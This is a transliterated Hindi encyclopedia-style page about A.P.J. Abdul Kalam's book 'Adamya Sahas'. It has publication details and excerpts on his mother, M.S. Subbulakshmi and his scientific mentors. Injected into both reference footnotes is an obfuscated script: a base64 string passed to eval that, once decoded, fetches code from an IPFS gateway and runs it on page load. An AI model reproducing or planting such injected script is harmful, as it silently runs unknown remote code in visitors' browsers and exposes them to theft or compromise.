अदम्य साहस -अब्दुल कलाम
adamy sahas -abdul kalam
| |
| lekhak | abdul kalam |
| mool shirshak | adamy sahas |
| prakashak | rajapal eand sans |
| prakashan tithi | 1 janavari, 2008 |
| ISBN | 81-7028-657-3 |
| desh | bharat |
| prishth: | 254 |
| bhasha | hiandi |
adamy sahas bharat ke gyaharavean rashtrapati aur 'misail main' ke nam se prasiddh 'e.pi.je. abdul kalam' ki charchit pustak hai. "kis roop mean yad rakhe jane ki apaki akaanksha hai? apako apane ko vikasit karana hoga aur jivan ko ek akar dena hoga. apani akaanksha ko, apane sapane ko, ek prishth par shabdabaddh kijie. yah manav itihas ka ek bahut mahatvapoorn prishth gyan-vigyan ka ho, parivartan ka, ya khoj ka ho, ya phir anyay ke viruddh sangharsh ka." ye shabd haian bharat ke rashtrapati e. pi. je. abdul kalam ke, adamy sahas se uddhrit, sidhe dil ki gaharaee se nikale sada shabd, gahan chiantan ki chhap chho date aur buniyadi muddoan ke bare mean unake gahare vicharoan ki jhalak dete. lagabhag jaduee asar vale ye shabd prerana jagate haian, aur ek ऎse vikasit desh ka sapana sanjote haian jo 'sare jahaan se achchha' hai.
manaviy, rashtriy aur vaishvik sarokaroan se ju de, chirayuva svabhav vale, d aau॰ kalam ke ye shabd karmapath par age badhane ki prerana jagate haian aur oorja dete haian.[1] adamy sahas rashtrapati e.pi.je. abdul kalam ke jivan darshan aur chintan ka saratatv hai. parameshvar ke sagar tat se rashtrapati bhavan tak phaile unake jivan aur jivan-darshan ka aina.... adamy sahas desh ke pratham nagarik ke dil se nikali vah avaj hai, jo gaharaee ke sath desh aur deshavasiyoan ke sunahare bhavishy ke bare mean sochati hai. adamy sahas jivan ke anubhavoan se ju de sansmaranoan, rochak prasangoan, maulik vicharoan aur kary-yojanaoan ka preranaprad chitran hai. ek chiantak ke roop mean, ek vaijnanik aur ek shikshak ke roop mean tatha rashtrapati ke roop mean abdul kalam ke vyaktitv ke anek preranadayi paksh is pustak mean sajiv ho uthe haian, jo unake bhashanoan aur alekhoan par adharit haian. samajik ya rajanitik, sabhi vyavasthaoan ki nianv iansan ki bhalaee par p di hai. koee bhi desh sirph sansadiy kayade-kanoon se mahanh nahian hota, balki isalie hota hai ki usake nagarik bhale aur mahanh haian.
maan ke vishay mean
un dinoan ki ek ghatana mujhe abhi bhi yad hai. ham sabhi bhaee-bahan sath baithakar khana kha rahe the aur maan mujhe roti deti ja rahi thi (chooanki ham bhat khane vale log haian isalie chaval to khule bazar mean upalabdh tha kiantu geanhooan par rashaniang thi). jab maian khana kha chuka to mere b de bhaee ne mujhe ekaant mean bulakar daanta, ‘‘kalam, janate ho kya hua ? tum roti deti khate ja rahe the aur maan tumhean roti ja rahi thi. usane apane hisse ki bhi sari roti tumhean de dian. abhi ghar ki paristhiti thik nahian hai. ek jimmedar beta bano aur apani maan ko bhookhoan mat maro.’’ us din pahali bar mujhe siharan ki anubhooti huee. maian apane apako rok nahian saka. dau dakar apani maan ke pas gaya aur bhavavesh mean usase lipat gaya.
maian ab bhi poonam ki rat mean apani maan ko yad karata hooan. us smriti ki chhaviyaan meri pustak ‘agni ki u dan’ mean sangrahit ‘maan’ kavita mean ubhari haian:
meri yadoan mean ve kshan
haian jivant abhi bhi !
das baras ka balak maian-
pooranamasi ki nishi-vela mean
niand ke agosh mean
b de bhaee-bahanoan ki irshya ka patr bana
soya hua tha tumhari god mean.
tumamean hi simata tha
mera poora jahan.
maan, o maan, too mahanh !
jag kar adhi rat mean lagata maian bilakhane
uniandi aankhoan se aansoo lagate jharane
aur bhig jate mere ghutane.
bhaanp leti thi tab too mere dard ko, aur
teri snehil puchakar se
ho jata dard sahaj hi chhoomantar.
tere vatsal sneh se
mili apar shakti mujhe-
ki bekhauf nikal p da
usi ek as-vishvas ke sahare-
ziandagi ki dagar par
jitane jahan ko.
hai mujhako vishvas-poora hai vishvas
ki ham phir mileange kayamat ke din
rahooanga nahian maian, maan,
tab bhi akela-tumhare bin.
yah meri maan ki kahani hai. vah tiranave sal ki umr tak jivit rahian. vah ek snehashil, dayalu aur dharmik pravritti ki mahila thian. meri maan roj paanch bar namaj ada karati thian. maianne jab bhi unhean namaz ada karate hue dekha tab tab maian prerit hua aur maianne apane aandar parivartan mahasoos kiya.
- nari eeshvar ki ek suandar rachana hai. maian do mahanh mahilaoan ki smriti se sadaiv prerit evan utsahit hota raha hooan. isamean se ek meri maan hai tatha doosari bharataratn em.es.subbulakshmi.
- bharataratn em.es. subbulakshmi
bhakti hamare apane hriday mean virajaman eeshvar ke prati vyakt ki gee hamari nishtha ke siva kuchh nahian hai doosari mahanh maan karnatak sangit ki janani em.es. subbulakshmi thian. maianne pahali bar unhean sanh 1950 mean tanjaur mean ayojit tyagaraj samaroh mean suna tha. pratyek varsh janavari mas mean is samaroh ka ayojan kiya jata haian. maian us samay 'trichi' mean k aaulej mean padhata tha. is samaroh mean maian apane sangitapremi mitr santhanamh ke sath gaya tha. pancharatnakriti ke pashchath em.es. subbulakshmi ne mahanubhavaloo aandhariggi vandamulu’ vala prasiddh tyagaraj kirtan gaya. aisa laga ki yah git mere aandar sama gaya hai tatha anand evan prasannata se mera tan-man oorjavan ho utha. is git ka bhav atyant sashakt tha. aur phir vah adakari ! maian jivan bhar ke lie em.es. subbulakshmi ka prashansak ban gaya.
em.es. se vibhinn sangit samarohoan mean milane ka saubhagy mujhe prapt hua. sanh 1988 mean jab rashtrapati bhavan ke 'ashok h aaul' mean bharataratn se unhean sammanit kiya gaya to vah mere lie apar prasannata ka kshan tha. maian unaki bagal mean baitha hua tha. unhoanne mere jivan ke mahanatam kshanoan mean se ek tha. unaki manyata thi ki kisi bhi rag ka uddeshy shrota ke man ko eeshvar evan usaki samast srishti ki or unmukh karana hai.
12 disambar, 2004 ko jab unaki mrityu huee to us samay maian unake ghar par maujood tha. unhean chirantan adhyatmik shaanti mean lin dekhakar maianne unhean is prakar apane shraddhasuman arpit kie:
apane shriragamh ke gayan mean utkrishtata ke kirtiman kayam kiye bhakti sangit mean chhueean mahanh ooanchaiyaan, parangat thian ap annamachary, purandaradas ke kirtanoan mean karnatak sangit ki trimoorti ke gayan mean. kal mean samahit bhale ho gee haian ap sammohak suandar sangit kiantu apaka age yug-yugoan tak rahega kanoan mean gooanjata. sangit mean janamian, ji, saans-dar-saans sangit mean ja milian aant mean anatit divy sangit mean.
- paanch mahanh atmaean apane mata-pita evan shikshakoan ke atirikt paanch vaijnanikoan ne mujhe prerit evan prabhavit kiya. in vaijnanikoan ko maian mahanh atma manata hooan.
- pro. vikram sarabhaee
jab bhi maian d aau. sarabhaee ke ek prishth ke prakalpana-praroop evan usake parinamoan par vichar karata hooan to abhibhoot ho uthata hooan mujhe pro. vikram sarabhaee ke sath sat varshoan tak kary karane ka saubhagy prapt hai. unake sannidhy mean kam karate hue maianne bharatiy aantariksh karyakram ki kalpana ko sach mean rupaantarit hote dekha tha. sanh 1970 mean taiyar kiye gaye ek prishth ke ek vaktavy mean ullekh hua tha ‘‘bharat ko apane prabal vaijnanik jnan evan yuvashakti ke bal par upagrah sanchar, doorasanvedi evan mausam vijnan sanbandhi aantariksh yan ka nirman evan apani dharati se prakshepan karana chahie taki in kshetroan mean bharatiy jivan samriddh ho sake.’’ pro. sarabhaee jaise kasmik-re(cosmic-ray) bhautikaveta evan mahanh vaijnanik ke varshoan ke athak parishram ke phal svaroop is ek prishth ke prakalpana-prarup ko sakar hote dekhana mere lie jnan ka ek bahut-b da strot tha. jab bhi maian is ek prishth ki prakalpana, vaktavy evan isake parinamoan par vichar karata hooan to abhibhoot ho uthata hooan. aj ham kisi bhi prakar ke upagrah prakshepan yan tatha aantariksh yan nirmit karane evan bharatiy dharati se unaka prakshepan karane mean saksham haian. isake lie bharat ke pas vyapak suvidha evan vipul manav sansadhan sahit sabhi prakar ki kshamataean haian.
- pro. satish dhavan
bharatiy vijnan sansthan ke shikshak evan bharatiy aantariksh anusandhan sangathan ke bhootapoorv adhyaksh pro. satish dhavan se bhi maianne bahut kuchh sikha. pratham upagrah prakshepan yan karyakram ke vikas ke lie maianne ek dashak tak pro. satish dhavan ke sath kam kiya. mera saubhagy hai ki is karyakram ke lie mujhe pariyojana nideshak ka dayitv sauanpa gaya. pro. satish dhavan ne desh ke, visheshakar yuvakoan ke, samane netritv ki aisi misal rakhi jo hamean prabandhan vishayak kisi pustak mean nahian mil sakati. unhoanne apane svayan ke udaharan se hamean bahut kuchh sikhaya. jo sabase mahattvapoorn bat maianne sikhi vah yah thi ki jab koeemishan pragati par ho to hamesha kuchh n kuchh samasyaean athava asaphalataean samane aeangi hi, kiantu asaphalataoan ke karan karyakram badhit nahian hona chahie. neta ko us samasya par niyantran rakhana hota hai, usaka aant karana hota hai tatha saphalata ki disha mean tim ka netritv karana p data hai. yah abhijnan tabhi se mere aandar jagah banae hue haian aur kabhi maian use bhool nahian pata.
- pro. brahm prakash
jab koee abhiyan pragati par ho to hamesha kuchh-n-kuchh samasyaean ya asaphalataean samane ati hi haian, kiantu asaphalataoan ke karan karyakram badhit nahian hona chahie ek any mahanh shikshak jinhoanne mujhe prerit kiya ve pro. brahm prakash the. jab maian es.el.vi.-3 karyakram ka pariyojana nideshak tha to us samay ve vikram sarabhaee aantariksh keandr ke nideshak the. nideshak ke roop mean aantariksh vijnan evan praudyogiki ke vikas ke lie pro. brahan prakash ne saik doan nirnay lie. unake jis ek nirnay ki maian sadaiv prashansa karata rahooanga vah yah tha ki ek bar jab es.el.vi.-3 jaise kisi karyakram ko manjoori mil jati hai to aantariksh vibhag sahit vikram sarabhaee aantariksh keandr evan bharatiy aantariksh anusandhan sangathan (isaro) jaise vibhinn sangathanoan ki prayogashalaoan evan keandroan ko karyakram ke nirdharit lakshy ko poora karane ke lie tim ke roop mean sath-sath kam karana hoga. sanh 1973 evan 1980 ke bich vittiy sankat kafi the aur vibhinn laghu pariyojanaoan ki or se maang ki ho d lagi thi. kiantu unhoanne apani sanpoorn vaijnanik evan praudyogiki sakriyata ko es.el.vi.-3 evan isake upagrah ke vikas par keandrit kar diya.
jab maian yah karata hooan ki pro. brahm prakash shalinatapoorn prabandhan ke vikas ke lie prasiddh haian, to mai is sanbandh mean kuchh udaharan prastut karana chahata hooan. pahali bar unhoanne hi rohini upagrah ko kaksha mean sthapit karane ke mishan ko poora karane ki disha mean es.el.vi.-3 karyakram ke lie vyapak prabandhan yojana vikasit ki thi. jab mere karyadal ne es.el.vi.-3 ki prabandhan yojana taiyar kar li to tin mah ki avadhi ke aandar unhoanne aantariksh vaijnanik kamiti ki lagabhag pandrah vyapak paricharcha vali baithakean ayojit kian. charcha aur anumodan ke bad hi is prabandhan yojana par pro. brahm prakash ne hastakshar kiye. is prakar yah yojana poore sangathan ke margadarshan evan kary ko disha dene vali yojana ban gee.
yah aantariksh vijnan ke kshetr mean rashtriy prakalpana ko mishanastariy karyakram mean badalane ki shurooat thi. prabandhan-yojana ke vikas ke dauran maianne dekha ki kis prakar vibhinn ke vichar ubharakar samane ae aur mukhy mishan ke karan kuchh log apani nijata khone se sashankit the. isilie ve kruddh evan naraj the. vibhinn prabandhan baithakoan ke dauran lagatar sulagati sigaretoan ke dhuean ke bich bhi pro. brahm prakash muskurate rahate the aur unaki vinamr upasthiti se logoan ke krodh, bhay evan poorvagrah dhuaan ho jate the.
aj ‘isaro’ ke vibhinn keandroan mean aantariksh-karyakram, upagrah prakshepan yan, vaijnanik prayog tatha prakshepan-mishan sahayog evan samanvay ki bhavana se sanchalit ho rahe haian. maian is mahanh parakrami atma ko dhanyavad deta hooan jo bharatiy vijnan sansthan mean dhatukarm vijnan (metalarji) ke prasiddh prophesar the tatha jinhoanne shalinatapoorn prabandhan ki avadharana ko vikasit kiya.
- pro. em. ji. ke. menan
mere jivan mean kuchh achanak dikhane vali athava niyojit lagane vali anupam ghatanaean ghatian. aisi ghatanaoan ko sakar karane mean do mahanh vaijnanikoan ka yogadan raha hai. sanh 1962 mean maian raksha mantralay ke aantargat eron aautikal devalapameant isteblishameant (e.di.ee.) mean varishth vaijnanik sahayak ke roop mean karyarat tha. mera kary hoovarakrapht vikas karyakram ko netritv pradan karana tha. is karyakram ki jimmedari hoovarakrapht ka dijain, vikas evan pailatiang karana hai. ek din mere nideshak ne kaha ki ek b de vaijnanik a rahe haian aur mujhe unake samaksh hoovarakrapht ke dijain ka varnan karana hai tatha ek u dan bhi pradarshit karani hai. maianne apane samane dadhi vale ek darshanik jaise yuvak ko dekha. ve pro.em.ji.ke menan, tata ianstityoot aauph phandameantal risarch (ti.aee.eph.ar.) ke nideshak the. mahaj bis minat mean maian unhean hoovarakrapht mean sahayatri ke roop mean le gaya aur pakki s dak par akarshak evan yuktipoorn u dan bharakar dikhayi. unhean u dan pasand ayi tatha unhoanne mujhe badhaee di. maianne socha ki jis prakar any mahattvapoorn vyakti ate haian usi prakar ye bhi ae aur chale ge.
kiantu ek saptah ke bad mujhe ek tar mila. (un dinoan ee-mel ki suvidha nahian thi), jisamean mujhe ti.aee.eph.ar. muanbee, mean r aauket ianjiniyar pad ke lie sakshatkar mean upasthit hone ko kaha gaya tha. e.di.ee.ke nideshak ne mukhyalay se vishesh anumati lekar mere lie ek or se vimanayatra ki vyavastha karava di aur maian sakshatkar ke lie chala gaya. sakshatkar samiti mean vahaan tin vyakti the pro. vikram sarabhaee jinase maianne pahali bar mil raha tha, doosare pro. em.ji.ke menan tatha prashasan ki or se shri saph. sakshatkar bhi b da dilachasp tha. pro. sarabhaee ne mujhase ve prashn poochhe jinake uttar maian janata tha n ki ve jinake uttar maian nahian janata tha. mere lie yah ne prakar ka sakshatkar tha. sakshatkar ke ek ghante ke aandar mujhe soochit kiya gaya ki is pad ke lie mujhe chun liya gaya hai aur is tarah mere jivan ki disha raksha se aantariksh karyakram ki or mu d gayi. [2]
tika tippani aur sandarbh
- ↑ adamy sahas (hiandi) Orient Publishing. abhigaman tithi: 14 disambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ adamy sahas (hiandi) bharatiy sahity sangrah. abhigaman tithi: 14 disambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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